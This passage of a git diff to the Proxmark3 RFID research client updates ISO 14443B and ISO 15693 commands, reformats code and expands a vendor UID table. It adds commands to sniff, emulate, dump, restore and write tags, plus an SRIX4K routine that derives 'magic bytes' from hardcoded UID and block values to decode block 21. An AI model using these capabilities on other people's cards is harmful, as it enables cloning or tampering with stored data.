+ + uint64_t uid = 0xD00202501A4532F9; + uint32_t block6 = 0xFFFFFFFF; + uint32_t block18 = 0xC04F42C5; + uint32_t block19 = 0xC1484807; + uint32_t block21 = 0xD1BCABA4; + + uint32_t test_b18 = 0x00313918; + uint32_t test_b18_enc = srix4kEncode(test_b18); + //uint32_t test_b18_dec = srix4kDecode(test_b18_enc); + PrintAndLogEx(SUCCESS, "ENCODE & CHECKSUM | %08X -> %08X (%s)", test_b18, test_b18_enc , ""); + + uint32_t magic = srix4kGetMagicbytes(uid, block6, block18, block19); + PrintAndLogEx(SUCCESS, "BLOCK 21 | %08X -> %08X (no XOR)", block21, magic ^ block21); + return 0; +} + +bool waitCmd14b(bool verbose) { + + bool crc = false; + uint8_t data[USB_CMD_DATA_SIZE] = {0x00}; + uint8_t status = 0; + uint16_t len = 0; + UsbCommand resp; + + if (WaitForResponseTimeout(CMD_ACK, &resp, TIMEOUT)) { + + status = (resp.arg[0] & 0xFF); + if ( status > 0 ) return false; + + len = (resp.arg[1] & 0xFFFF); + + memcpy(data, resp.d.asBytes, len); + + if (verbose) { + if ( len >= 3 ) { + crc = check_crc(CRC_14443_B, data, len); + + PrintAndLogEx(NORMAL, "[LEN %u] %s[%02X %02X] %s", + len, + sprint_hex(data, len-2), + data[len-2], + data[len-1], + (crc) ? "OK" : "FAIL" + ); + } else { + PrintAndLogEx(NORMAL, "[LEN %u] %s", len, sprint_hex(data, len) ); + } + } + return true; + } else { + PrintAndLogEx(WARNING, "command execution timeout"); + return false; + } +} + +static command_t CommandTable[] = { + {"help", CmdHelp, 1, "This help"}, + {"info", CmdHF14Binfo, 0, "Tag information"}, + {"list", CmdHF14BList, 0, "[Deprecated] List ISO 14443B history"}, + {"raw", CmdHF14BCmdRaw, 0, "Send raw hex data to tag"}, + {"reader", CmdHF14BReader, 0, "Act as a 14443B reader to identify a tag"}, + {"sim", CmdHF14BSim, 0, "Fake ISO 14443B tag"}, + {"sniff", CmdHF14BSniff, 0, "Eavesdrop ISO 14443B"}, + {"sriread", CmdHF14BReadSri, 0, "Read contents of a SRI512 | SRIX4K tag"}, + {"sriwrite", CmdHF14BWriteSri, 0, "Write data to a SRI512 | SRIX4K tag"}, + //{"valid", srix4kValid, 1, "srix4k checksum test"}, + {NULL, NULL, 0, NULL} }; -int CmdHF14B(const char *Cmd) -{ - CmdsParse(CommandTable, Cmd); - return 0; +int CmdHF14B(const char *Cmd) { + clearCommandBuffer(); + CmdsParse(CommandTable, Cmd); + return 0; } -int CmdHelp(const char *Cmd) -{ - CmdsHelp(CommandTable); - return 0; +int CmdHelp(const char *Cmd) { + CmdsHelp(CommandTable); + return 0; } diff --git a/client/cmdhf14b.h b/client/cmdhf14b.h index 50d647628..418a7bc8a 100644 --- a/client/cmdhf14b.h +++ b/client/cmdhf14b.h @@ -11,15 +11,47 @@ #ifndef CMDHF14B_H__ #define CMDHF14B_H__ -int CmdHF14B(const char *Cmd); +#include +#include +#include +#include +#include "crc16.h" +#include "proxmark3.h" +#include "graph.h" +#include "util.h" +#include "ui.h" +#include "cmdparser.h" +#include "cmdmain.h" +#include "cmdhf14a.h" +#include "cmdhf.h" +#include "prng.h" +#include "sha1.h" +#include "mifare.h" // structs/enum for ISO14B +#include "protocols.h" // definitions of ISO14B protocol -int CmdHF14BDemod(const char *Cmd); -int CmdHF14BList(const char *Cmd); -int CmdHF14BRead(const char *Cmd); -int CmdHF14Sim(const char *Cmd); -int CmdHFSimlisten(const char *Cmd); -int CmdHF14BSnoop(const char *Cmd); -int CmdSri512Read(const char *Cmd); -int CmdSrix4kRead(const char *Cmd); +int usage_hf_14b_info(void); +int usage_hf_14b_reader(void); +int usage_hf_14b_raw(void); +int usage_hf_14b_sniff(void); +int usage_hf_14b_sim(void); +int usage_hf_14b_read_srx(void); +int usage_hf_14b_write_srx(void); +extern int CmdHF14B(const char *Cmd); +extern int CmdHF14BList(const char *Cmd); +extern int CmdHF14BInfo(const char *Cmd); +extern int CmdHF14BSim(const char *Cmd); +extern int CmdHF14BSniff(const char *Cmd); +extern int CmdHF14BWrite( const char *cmd); +extern int CmdHF14BReader(const char *Cmd); + +extern bool HF14BInfo(bool verbose); +extern bool HF14BReader(bool verbose); +extern int CmdHF14BCmdRaw (const char *Cmd); + +// SRi ST Microelectronics read/write +extern int CmdHF14BReadSri(const char *Cmd); +extern int CmdHF14BWriteSri(const char *Cmd); + +bool waitCmd14b(bool verbose); #endif diff --git a/client/cmdhf15.c b/client/cmdhf15.c index cc61d2899..e799f3c23 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -2,6 +2,7 @@ // Copyright (C) 2010 iZsh // Modified 2010-2012 by // Modified 2012 by +// Modfified 2018 by // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -21,29 +22,18 @@ // The proxmark just samples the antenna and passes this "analog" data via USB to // the client. Signal Processing & decoding is done on the pc. This is the slowest // variant, but offers the possibility to analyze the waveforms directly. - -#include -#include -#include -#include -//#include "proxusb.h" -#include "proxmark3.h" -#include "data.h" -#include "graph.h" -#include "ui.h" -#include "cmdparser.h" #include "cmdhf15.h" -#include "iso15693tools.h" -#include "cmdmain.h" -#define FrameSOF Iso15693FrameSOF -#define Logic0 Iso15693Logic0 -#define Logic1 Iso15693Logic1 -#define FrameEOF Iso15693FrameEOF +#define FrameSOF Iso15693FrameSOF +#define Logic0 Iso15693Logic0 +#define Logic1 Iso15693Logic1 +#define FrameEOF Iso15693FrameEOF -#define Crc(data,datalen) Iso15693Crc(data,datalen) -#define AddCrc(data,datalen) Iso15693AddCrc(data,datalen) -#define sprintUID(target,uid) Iso15693sprintUID(target,uid) +#define Crc(data, len) crc(CRC_15693, (data), (len)) +#define CheckCrc(data, len) check_crc(CRC_15693, (data), (len)) +#define AddCrc(data, len) compute_crc(CRC_15693, (data), (len), (data)+(len), (data)+(len)+1) + +#define sprintUID(target, uid) Iso15693sprintUID((target), (uid)) // structure and database for uid -> tagtype lookups typedef struct { @@ -52,91 +42,203 @@ typedef struct { char* desc; } productName; - const productName uidmapping[] = { + // UID, #significant Bits, "Vendor(+Product)" - { 0xE001000000000000LL, 16, "Motorola" }, - { 0xE002000000000000LL, 16, "ST Microelectronics" }, - { 0xE003000000000000LL, 16, "Hitachi" }, - { 0xE004000000000000LL, 16, "Philips" }, - { 0xE004010000000000LL, 24, "Philips; IC SL2 ICS20" }, - { 0xE005000000000000LL, 16, "Infineon" }, - { 0xE005400000000000LL, 24, "Infineon; 56x32bit" }, - { 0xE006000000000000LL, 16, "Cylinc" }, - { 0xE007000000000000LL, 16, "Texas Instrument; " }, + { 0xE001000000000000LL, 16, "Motorola UK" }, + + // E0 02 xx + // 02 = ST Microelectronics + // XX = IC id (Chip ID Family) + { 0xE002000000000000LL, 16, "ST Microelectronics SA France" }, + { 0xE002050000000000LL, 24, "ST Microelectronics; LRI64 [IC id = 05]"}, + { 0xE002080000000000LL, 24, "ST Microelectronics; LRI2K [IC id = 08]"}, + { 0xE0020A0000000000LL, 24, "ST Microelectronics; LRIS2K [IC id = 10]"}, + { 0xE002440000000000LL, 24, "ST Microelectronics; LRIS64K [IC id = 68]"}, + + { 0xE003000000000000LL, 16, "Hitachi, Ltd Japan" }, + + // E0 04 xx + // 04 = Manufacturer code (Philips/NXP) + // XX = IC id (Chip ID Family) + //I-Code SLI SL2 ICS20 [IC id = 01] + //I-Code SLI-S [IC id = 02] + //I-Code SLI-L [IC id = 03] + //I-Code SLIX [IC id = 01 + bit36 set to 1 (starting from bit0 - different from normal SLI)] + //I-Code SLIX-S [IC id = 02 + bit36 set to 1] + //I-Code SLIX-L [IC id = 03 + bit36 set to 1] + { 0xE004000000000000LL, 16, "NXP Semiconductors Germany (Philips)" }, + { 0xE004010000000000LL, 24, "NXP(Philips); IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX)" }, + { 0xE004020000000000LL, 24, "NXP(Philips); IC SL2 ICS53/ICS54(SLI-S) ICS5302/ICS5402(SLIX-S)" }, + { 0xE004030000000000LL, 24, "NXP(Philips); IC SL2 ICS50/ICS51(SLI-L) ICS5002/ICS5102(SLIX-L)" }, + + // E0 05 XX .. .. .. + // 05 = Manufacturer code (Infineon) + // XX = IC id (Chip ID Family) + { 0xE005000000000000LL, 16, "Infineon Technologies AG Germany" }, + { 0xE005A10000000000LL, 24, "Infineon; SRF55V01P [IC id = 161] plain mode 1kBit"}, + { 0xE005A80000000000LL, 24, "Infineon; SRF55V01P [IC id = 168] pilot series 1kBit"}, + { 0xE005400000000000LL, 24, "Infineon; SRF55V02P [IC id = 64] plain mode 2kBit"}, + { 0xE005000000000000LL, 24, "Infineon; SRF55V10P [IC id = 00] plain mode 10KBit"}, + { 0xE005500000000000LL, 24, "Infineon; SRF55V02S [IC id = 80] secure mode 2kBit"}, + { 0xE005100000000000LL, 24, "Infineon; SRF55V10S [IC id = 16] secure mode 10KBit"}, + { 0xE0051E0000000000LL, 23, "Infineon; SLE66r01P [IC id = 3x = My-d Move or My-d move NFC]"}, + { 0xE005200000000000LL, 21, "Infineon; SLE66r01P [IC id = 3x = My-d Move or My-d move NFC]"}, + + { 0xE006000000000000LL, 16, "Cylink USA" }, + + + // E0 07 xx + // 07 = Texas Instruments + // XX = from bit 41 to bit 43 = product configuration - from bit 44 to bit 47 IC id (Chip ID Family) + //Tag IT RFIDType-I Plus, 2kBit, TI Inlay + //Tag-it HF-I Plus Inlay [IC id = 00] -> b'0000 000 2kBit + //Tag-it HF-I Plus Chip [IC id = 64] -> b'1000 000 2kBit + //Tag-it HF-I Standard Chip / Inlays [IC id = 96] -> b'1100 000 256Bit + //Tag-it HF-I Pro Chip / Inlays [IC id = 98] -> b'1100 010 256Bit, Password protection + { 0xE007000000000000LL, 16, "Texas Instrument France" }, { 0xE007000000000000LL, 20, "Texas Instrument; Tag-it HF-I Plus Inlay; 64x32bit" }, { 0xE007100000000000LL, 20, "Texas Instrument; Tag-it HF-I Plus Chip; 64x32bit" }, { 0xE007800000000000LL, 23, "Texas Instrument; Tag-it HF-I Plus (RF-HDT-DVBB tag or Third Party Products)" }, { 0xE007C00000000000LL, 23, "Texas Instrument; Tag-it HF-I Standard; 8x32bit" }, { 0xE007C40000000000LL, 23, "Texas Instrument; Tag-it HF-I Pro; 8x23bit; password" }, - { 0xE008000000000000LL, 16, "Fujitsu" }, - { 0xE009000000000000LL, 16, "Matsushita" }, - { 0xE00A000000000000LL, 16, "NEC" }, - { 0xE00B000000000000LL, 16, "Oki Electric" }, - { 0xE00C000000000000LL, 16, "Toshiba" }, - { 0xE00D000000000000LL, 16, "Mitsubishi" }, - { 0xE00E000000000000LL, 16, "Samsung" }, - { 0xE00F000000000000LL, 16, "Hyundai" }, - { 0xE010000000000000LL, 16, "LG-Semiconductors" }, + + { 0xE008000000000000LL, 16, "Fujitsu Limited Japan" }, + { 0xE009000000000000LL, 16, "Matsushita Electronics Corporation, Semiconductor Company Japan" }, + { 0xE00A000000000000LL, 16, "NEC Japan" }, + { 0xE00B000000000000LL, 16, "Oki Electric Industry Co. Ltd Japan" }, + { 0xE00C000000000000LL, 16, "Toshiba Corp. Japan" }, + { 0xE00D000000000000LL, 16, "Mitsubishi Electric Corp. Japan" }, + { 0xE00E000000000000LL, 16, "Samsung Electronics Co. Ltd Korea" }, + { 0xE00F000000000000LL, 16, "Hynix / Hyundai, Korea" }, + { 0xE010000000000000LL, 16, "LG-Semiconductors Co. Ltd Korea" }, + { 0xE011000000000000LL, 16, "Emosyn-EM Microelectronics USA" }, + { 0xE012000000000000LL, 16, "HID Corporation" }, - { 0xE016000000000000LL, 16, "EM-Marin SA (Skidata)" }, - { 0xE016040000000000LL, 24, "EM-Marin SA (Skidata Keycard-eco); EM4034? no 'read', just 'readmulti'" }, - { 0xE0160c0000000000LL, 24, "EM-Marin SA; EM4035?" }, - { 0xE016100000000000LL, 24, "EM-Marin SA (Skidata); EM4135; 36x64bit start page 13" }, - { 0xE016940000000000LL, 24, "EM-Marin SA (Skidata); 51x64bit" }, + { 0xE012000000000000LL, 16, "INSIDE Technology France" }, + { 0xE013000000000000LL, 16, "ORGA Kartensysteme GmbH Germany" }, + { 0xE014000000000000LL, 16, "SHARP Corporation Japan" }, + { 0xE015000000000000LL, 16, "ATMEL France" }, + + { 0xE016000000000000LL, 16, "EM Microelectronic-Marin SA Switzerland (Skidata)"}, + { 0xE016040000000000LL, 24, "EM-Marin SA (Skidata Keycard-eco); EM4034 [IC id = 01] (Read/Write - no AFI)"}, + { 0xE0160C0000000000LL, 24, "EM-Marin SA (Skidata); EM4035 [IC id = 03] (Read/Write - replaced by 4233)"}, + { 0xE016100000000000LL, 24, "EM-Marin SA (Skidata); EM4135 [IC id = 04] (Read/Write - replaced by 4233) 36x64bit start page 13"}, + { 0xE016140000000000LL, 24, "EM-Marin SA (Skidata); EM4036 [IC id = 05] 28pF"}, + { 0xE016180000000000LL, 24, "EM-Marin SA (Skidata); EM4006 [IC id = 06] (Read Only)"}, + { 0xE0161C0000000000LL, 24, "EM-Marin SA (Skidata); EM4133 [IC id = 07] 23,5pF (Read/Write)"}, + { 0xE016200000000000LL, 24, "EM-Marin SA (Skidata); EM4033 [IC id = 08] 23,5pF (Read Only - no AFI / no DSFID / no security blocks)"}, + { 0xE016240000000000LL, 24, "EM-Marin SA (Skidata); EM4233 [IC id = 09] 23,5pF CustomerID-102"}, + { 0xE016280000000000LL, 24, "EM-Marin SA (Skidata); EM4233 SLIC [IC id = 10] 23,5pF (1Kb flash memory - not provide High Security mode and QuietStorage feature)" }, + { 0xE0163C0000000000LL, 24, "EM-Marin SA (Skidata); EM4237 [IC id = 15] 23,5pF"}, + { 0xE0167C0000000000LL, 24, "EM-Marin SA (Skidata); EM4233 [IC id = 31] 95pF"}, + { 0xE016940000000000LL, 24, "EM-Marin SA (Skidata); EM4036 [IC id = 37] 95pF 51x64bit "}, + { 0xE0169c0000000000LL, 24, "EM-Marin SA (Skidata); EM4133 [IC id = 39] 95pF (Read/Write)" }, + { 0xE016A80000000000LL, 24, "EM-Marin SA (Skidata); EM4233 SLIC [IC id = 42] 97pF" }, + { 0xE016BC0000000000LL, 24, "EM-Marin SA (Skidata); EM4237 [IC id = 47] 97pF" }, + + { 0xE017000000000000LL, 16, "KSW Microtec GmbH Germany" }, + { 0xE018000000000000LL, 16, "ZMD AG Germany" }, + { 0xE019000000000000LL, 16, "XICOR, Inc. USA" }, + { 0xE01A000000000000LL, 16, "Sony Corporation Japan Identifier Company Country" }, + { 0xE01B000000000000LL, 16, "Malaysia Microelectronic Solutions Sdn. Bhd Malaysia" }, + { 0xE01C000000000000LL, 16, "Emosyn USA" }, + { 0xE01D000000000000LL, 16, "Shanghai Fudan Microelectronics Co. Ltd. P.R. China" }, + { 0xE01E000000000000LL, 16, "Magellan Technology Pty Limited Australia" }, + { 0xE01F000000000000LL, 16, "Melexis NV BO Switzerland" }, + { 0xE020000000000000LL, 16, "Renesas Technology Corp. Japan" }, + { 0xE021000000000000LL, 16, "TAGSYS France" }, + { 0xE022000000000000LL, 16, "Transcore USA" }, + { 0xE023000000000000LL, 16, "Shanghai belling corp., ltd. China" }, + { 0xE024000000000000LL, 16, "Masktech Germany Gmbh Germany" }, + { 0xE025000000000000LL, 16, "Innovision Research and Technology Plc UK" }, + { 0xE026000000000000LL, 16, "Hitachi ULSI Systems Co., Ltd. Japan" }, + { 0xE027000000000000LL, 16, "Cypak AB Sweden" }, + { 0xE028000000000000LL, 16, "Ricoh Japan" }, + { 0xE029000000000000LL, 16, "ASK France" }, + { 0xE02A000000000000LL, 16, "Unicore Microsystems, LLC Russian Federation" }, + { 0xE02B000000000000LL, 16, "Dallas Semiconductor/Maxim USA" }, + { 0xE02C000000000000LL, 16, "Impinj, Inc. USA" }, + { 0xE02D000000000000LL, 16, "RightPlug Alliance USA" }, + { 0xE02E000000000000LL, 16, "Broadcom Corporation USA" }, + { 0xE02F000000000000LL, 16, "MStar Semiconductor, Inc Taiwan, ROC" }, + { 0xE030000000000000LL, 16, "BeeDar Technology Inc. USA" }, + { 0xE031000000000000LL, 16, "RFIDsec Denmark" }, + { 0xE032000000000000LL, 16, "Schweizer Electronic AG Germany" }, + { 0xE033000000000000LL, 16, "AMIC Technology Corp Taiwan" }, + { 0xE034000000000000LL, 16, "Mikron JSC Russia" }, + { 0xE035000000000000LL, 16, "Fraunhofer Institute for Photonic Microsystems Germany" }, + { 0xE036000000000000LL, 16, "IDS Microchip AG Switzerland" }, + { 0xE037000000000000LL, 16, "Kovio USA" }, + { 0xE038000000000000LL, 16, "HMT Microelectronic Ltd Switzerland Identifier Company Country" }, + { 0xE039000000000000LL, 16, "Silicon Craft Technology Thailand" }, + { 0xE03A000000000000LL, 16, "Advanced Film Device Inc. Japan" }, + { 0xE03B000000000000LL, 16, "Nitecrest Ltd UK" }, + { 0xE03C000000000000LL, 16, "Verayo Inc. USA" }, + { 0xE03D000000000000LL, 16, "HID Global USA" }, + { 0xE03E000000000000LL, 16, "Productivity Engineering Gmbh Germany" }, + { 0xE03F000000000000LL, 16, "Austriamicrosystems AG (reserved) Austria" }, + { 0xE040000000000000LL, 16, "Gemalto SA France" }, + { 0xE041000000000000LL, 16, "Renesas Electronics Corporation Japan" }, + { 0xE042000000000000LL, 16, "3Alogics Inc Korea" }, + { 0xE043000000000000LL, 16, "Top TroniQ Asia Limited Hong Kong" }, + { 0xE044000000000000LL, 16, "Gentag Inc (USA) USA" }, { 0,0,"no tag-info available" } // must be the last entry }; - // fast method to just read the UID of a tag (collission detection not supported) // *buf should be large enough to fit the 64bit uid // returns 1 if suceeded -int getUID(uint8_t *buf) -{ +int getUID(uint8_t *buf) { + UsbCommand resp; - uint8_t *recv; UsbCommand c = {CMD_ISO_15693_COMMAND, {0, 1, 1}}; // len,speed,recv? - uint8_t *req=c.d.asBytes; - int reqlen=0; - - for (int retry=0;retry<3; retry++) { // don't give up the at the first try - - req[0]= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | - ISO15_REQ_INVENTORY | ISO15_REQINV_SLOT1; - req[1]=ISO15_CMD_INVENTORY; - req[2]=0; // mask length - reqlen=AddCrc(req,3); - c.arg[0]=reqlen; + + c.d.asBytes[0] = ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_INVENTORY | ISO15_REQINV_SLOT1; + c.d.asBytes[1] = ISO15_CMD_INVENTORY; + c.d.asBytes[2] = 0; // mask length + + AddCrc(c.d.asBytes, 3); + c.arg[0] = 5; // len + + uint8_t retry; + // don't give up the at the first try + for (retry = 0; retry < 3; retry++) { + + clearCommandBuffer(); SendCommand(&c); - if (WaitForResponseTimeout(CMD_ACK,&resp,1000)) { - recv = resp.d.asBytes; - if (resp.arg[0]>=12 && ISO15_CRC_CHECK==Crc(recv,12)) { - memcpy(buf,&recv[2],8); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + + uint8_t resplen = resp.arg[0]; + if (resplen >= 12 && CheckCrc(resp.d.asBytes, 12)) { + memcpy(buf, resp.d.asBytes + 2, 8); return 1; } } } // retry + + if ( retry >= 3 ) + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return 0; } - - // get a product description based on the UID // uid[8] tag uid // returns description of the best match -static char* getTagInfo(uint8_t *uid) { - uint64_t myuid,mask; - int i=0, best=-1; - memcpy(&myuid,uid,sizeof(uint64_t)); - while (uidmapping[i].mask>0) { - mask=(~0LL) <<(64-uidmapping[i].mask); +static char* getTagInfo_15(uint8_t *uid) { + uint64_t myuid, mask; + int i = 0, best = -1; + memcpy(&myuid, uid, sizeof(uint64_t)); + while (uidmapping[i].mask > 0) { + mask = (~0LL) << (64-uidmapping[i].mask); if ((myuid & mask) == uidmapping[i].uid) { - if (best==-1) { - best=i; + if (best == -1) { + best = i; } else { - if (uidmapping[i].mask>uidmapping[best].mask) { + if (uidmapping[i].mask > uidmapping[best].mask) { best=i; } } @@ -144,12 +246,11 @@ static char* getTagInfo(uint8_t *uid) { i++; } - if (best>=0) return uidmapping[best].desc; - + if (best >= 0) + return uidmapping[best].desc; return uidmapping[i].desc; } - // return a clear-text message to an errorcode static char* TagErrorStr(uint8_t error) { switch (error) { @@ -157,7 +258,7 @@ static char* TagErrorStr(uint8_t error) { case 0x02: return "The command is not recognised"; case 0x03: return "The option is not supported."; case 0x0f: return "Unknown error."; - case 0x10: return "The specified block is not available (doesn’t exist)."; + case 0x10: return "The specified block is not available (doesn't exist)."; case 0x11: return "The specified block is already -locked and thus cannot be locked again"; case 0x12: return "The specified block is locked and its content cannot be changed."; case 0x13: return "The specified block was not successfully programmed."; @@ -166,23 +267,149 @@ static char* TagErrorStr(uint8_t error) { } } - +int usage_15_demod(void){ + PrintAndLogEx(NORMAL, "Tries to demodulate / decode ISO15693, from downloaded samples.\n" + "Gather samples with 'hf 15 read' / 'hf 15 record'"); + return 0; +} +int usage_15_samples(void){ + PrintAndLogEx(NORMAL, "Acquire samples as Reader (enables carrier, send inquiry\n" + "and download it to graphbuffer. Try 'hf 15 demod' to try to demodulate/decode signal"); + return 0; +} +int usage_15_info(void){ + PrintAndLogEx(NORMAL, "Uses the optional command 'get_systeminfo' 0x2B to try and extract information\n" + "command may fail, depending on tag.\n" + "defaults to '1 out of 4' mode\n" + "\n" + "Usage: hf 15 info [options] \n" + "Options:\n" + "\t-2 use slower '1 out of 256' mode\n" + "\tuid (either): \n" + "\t <8B hex> full UID eg E011223344556677\n" + "\t u unaddressed mode\n" + "\t * scan for tag\n" + "Examples:\n" + "\thf 15 info u"); + return 0; +} +int usage_15_record(void){ + PrintAndLogEx(NORMAL, "Record activity without enableing carrier"); + return 0; +} +int usage_15_reader(void){ + PrintAndLogEx(NORMAL, "This command identifies a ISO 15693 tag\n" + "\n" + "Usage: hf 15 reader [h]\n" + "Options:\n" + "\th this help\n" + "\n" + "Example:\n" + "\thf 15 reader"); + return 0; +} +int usage_15_sim(void){ + PrintAndLogEx(NORMAL, "Usage: hf 15 sim \n" + "\n" + "Example:\n" + "\thf 15 sim E016240000000000"); + return 0; +} +int usage_15_findafi(void){ + PrintAndLogEx(NORMAL, "'hf 15 finafi' This command needs a helptext. Feel free to add one!"); + return 0; +} +int usage_15_dump(void){ + PrintAndLogEx(NORMAL, "This command dumps the contents of a ISO-15693 tag and save it to file\n" + "\n" + "Usage: hf 15 dump [h] \n" + "Options:\n" + "\th this help\n" + "\tf filename, if no UID will be used as filename\n" + "\n" + "Example:\n" + "\thf 15 dump f\n" + "\thf 15 dump f mydump"); + return 0; +} +int usage_15_restore(void){ + char *options[][2]={ + {"h", "this help"}, + {"-2", "use slower '1 out of 256' mode"}, + {"-o", "set OPTION Flag (needed for TI)"}, + {"r ", "numbers of retries on error, default is 3"}, + {"u ", "load hf-15-dump-.bin"}, + {"f ", "load "}, + {"b ", "block size, default is 4"} + }; + PrintAndLogEx(NORMAL, "Usage: hf 15 restore [-2] [-o] [h] [r ] [u ] [f ] [b ]"); + PrintAndLogOptions(options, 7, 3); + return 0; +} +int usage_15_raw(void){ + char *options[][2]={ + {"-r", "do not read response" }, + {"-2", "use slower '1 out of 256' mode" }, + {"-c", "calculate and append CRC" }, + {"", "Tip: turn on debugging for verbose output"}, + }; + PrintAndLogEx(NORMAL, "Usage: hf 15 raw [-r] [-2] [-c] <0A 0B 0C ... hex>\n"); + PrintAndLogOptions(options, 4, 3); + return 0; +} +int usage_15_read(void){ + PrintAndLogEx(NORMAL, "Usage: hf 15 read [options] \n" + "Options:\n" + "\t-2 use slower '1 out of 256' mode\n" + "\tuid (either): \n" + "\t <8B hex> full UID eg E011223344556677\n" + "\t u unaddressed mode\n" + "\t * scan for tag\n" + "\tpage#: page number 0-255"); + return 0; +} +int usage_15_write(void){ + PrintAndLogEx(NORMAL, "Usage: hf 15 write [options] \n" + "Options:\n" + "\t-2 use slower '1 out of 256' mode\n" + "\t-o set OPTION Flag (needed for TI)\n" + "\tuid (either): \n" + "\t <8B hex> full UID eg E011223344556677\n" + "\t u unaddressed mode\n" + "\t * scan for tag\n" + "\tpage#: page number 0-255\n" + "\thexdata: data to be written eg AA BB CC DD"); + return 0; +} +int usage_15_readmulti(void){ + PrintAndLogEx(NORMAL, "Usage: hf 15 readmulti [options] \n" + "Options:\n" + "\t-2 use slower '1 out of 256' mode\n" + "\tuid (either): \n" + "\t <8B hex> full UID eg E011223344556677\n" + "\t u unaddressed mode\n" + "\t * scan for tag\n" + "\tstart#: page number to start 0-255\n" + "\tcount#: number of pages"); + return 0; +} // Mode 3 -int CmdHF15Demod(const char *Cmd) -{ - // The sampling rate is 106.353 ksps/s, for T = 18.8 us +//helptext +int CmdHF15Demod(const char *Cmd) { + char cmdp = param_getchar(Cmd, 0); + if (cmdp == 'h' || cmdp == 'H') return usage_15_demod(); + // The sampling rate is 106.353 ksps/s, for T = 18.8 us int i, j; int max = 0, maxPos = 0; - int skip = 4; if (GraphTraceLen < 1000) return 0; // First, correlate for SOF - for (i = 0; i < 100; i++) { + for (i = 0; i < 1000; i++) { int corr = 0; - for (j = 0; j < arraylen(FrameSOF); j += skip) { + for (j = 0; j < ARRAYLEN(FrameSOF); j += skip) { corr += FrameSOF[j] * GraphBuffer[i + (j / skip)]; } if (corr > max) { @@ -190,23 +417,23 @@ int CmdHF15Demod(const char *Cmd) maxPos = i; } } - PrintAndLog("SOF at %d, correlation %d", maxPos, - max / (arraylen(FrameSOF) / skip)); + + PrintAndLogEx(NORMAL, "SOF at %d, correlation %d", maxPos, max / (ARRAYLEN(FrameSOF) / skip)); - i = maxPos + arraylen(FrameSOF) / skip; + i = maxPos + ARRAYLEN(FrameSOF) / skip; int k = 0; uint8_t outBuf[20]; memset(outBuf, 0, sizeof(outBuf)); uint8_t mask = 0x01; for (;;) { int corr0 = 0, corr1 = 0, corrEOF = 0; - for (j = 0; j < arraylen(Logic0); j += skip) { + for (j = 0; j < ARRAYLEN(Logic0); j += skip) { corr0 += Logic0[j] * GraphBuffer[i + (j / skip)]; } - for (j = 0; j < arraylen(Logic1); j += skip) { + for (j = 0; j < ARRAYLEN(Logic1); j += skip) { corr1 += Logic1[j] * GraphBuffer[i + (j / skip)]; } - for (j = 0; j < arraylen(FrameEOF); j += skip) { + for (j = 0; j < ARRAYLEN(FrameEOF); j += skip) { corrEOF += FrameEOF[j] * GraphBuffer[i + (j / skip)]; } // Even things out by the length of the target waveform. @@ -214,577 +441,685 @@ int CmdHF15Demod(const char *Cmd) corr1 *= 4; if (corrEOF > corr1 && corrEOF > corr0) { - PrintAndLog("EOF at %d", i); + PrintAndLogEx(NORMAL, "EOF at %d", i); break; } else if (corr1 > corr0) { - i += arraylen(Logic1) / skip; + i += ARRAYLEN(Logic1) / skip; outBuf[k] |= mask; } else { - i += arraylen(Logic0) / skip; + i += ARRAYLEN(Logic0) / skip; } mask <<= 1; if (mask == 0) { k++; mask = 0x01; } - if ((i + (int)arraylen(FrameEOF)) >= GraphTraceLen) { - PrintAndLog("ran off end!"); + if ((i + (int)ARRAYLEN(FrameEOF)) >= GraphTraceLen) { + PrintAndLogEx(NORMAL, "ran off end!"); break; } } - if (mask != 0x01) { - PrintAndLog("error, uneven octet! (discard extra bits!)"); - PrintAndLog(" mask=%02x", mask); - } - PrintAndLog("%d octets", k); - for (i = 0; i < k; i++) { - PrintAndLog("# %2d: %02x ", i, outBuf[i]); + if (mask != 0x01) { + PrintAndLogEx(WARNING, "Error, uneven octet! (discard extra bits!)"); + PrintAndLogEx(NORMAL, " mask = %02x", mask); } - PrintAndLog("CRC=%04x", Iso15693Crc(outBuf, k - 2)); + PrintAndLogEx(NORMAL, "%d octets", k); + + for (i = 0; i < k; i++) + PrintAndLogEx(NORMAL, "# %2d: %02x ", i, outBuf[i]); + + PrintAndLogEx(NORMAL, "CRC %04x", Crc(outBuf, k - 2)); return 0; } - - // * Acquire Samples as Reader (enables carrier, sends inquiry) -int CmdHF15Read(const char *Cmd) -{ - UsbCommand c = {CMD_ACQUIRE_RAW_ADC_SAMPLES_ISO_15693}; - SendCommand(&c); - return 0; -} - -// Record Activity without enabeling carrier -int CmdHF15Record(const char *Cmd) -{ - UsbCommand c = {CMD_RECORD_RAW_ADC_SAMPLES_ISO_15693}; - SendCommand(&c); - return 0; -} - -int CmdHF15Reader(const char *Cmd) -{ - UsbCommand c = {CMD_READER_ISO_15693, {strtol(Cmd, NULL, 0), 0, 0}}; - SendCommand(&c); - return 0; -} - -// Simulation is still not working very good -int CmdHF15Sim(const char *Cmd) -{ - UsbCommand c = {CMD_SIMTAG_ISO_15693, {strtol(Cmd, NULL, 0), 0, 0}}; - SendCommand(&c); - return 0; -} - -// finds the AFI (Application Family Idendifier) of a card, by trying all values -// (There is no standard way of reading the AFI, allthough some tags support this) -int CmdHF15Afi(const char *Cmd) -{ - UsbCommand c = {CMD_ISO_15693_FIND_AFI, {strtol(Cmd, NULL, 0), 0, 0}}; - SendCommand(&c); - return 0; -} - -// Reads all memory pages -int CmdHF15DumpMem(const char*Cmd) { - UsbCommand resp; - uint8_t uid[8]; - uint8_t *recv=NULL; - UsbCommand c = {CMD_ISO_15693_COMMAND, {0, 1, 1}}; // len,speed,recv? - uint8_t *req=c.d.asBytes; - int reqlen=0; - int blocknum=0; - char output[80]; - - if (!getUID(uid)) { - PrintAndLog("No Tag found."); - return 0; - } - - PrintAndLog("Reading memory from tag UID=%s",sprintUID(NULL,uid)); - PrintAndLog("Tag Info: %s",getTagInfo(uid)); - - for (int retry=0; retry<5; retry++) { - - req[0]= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | - 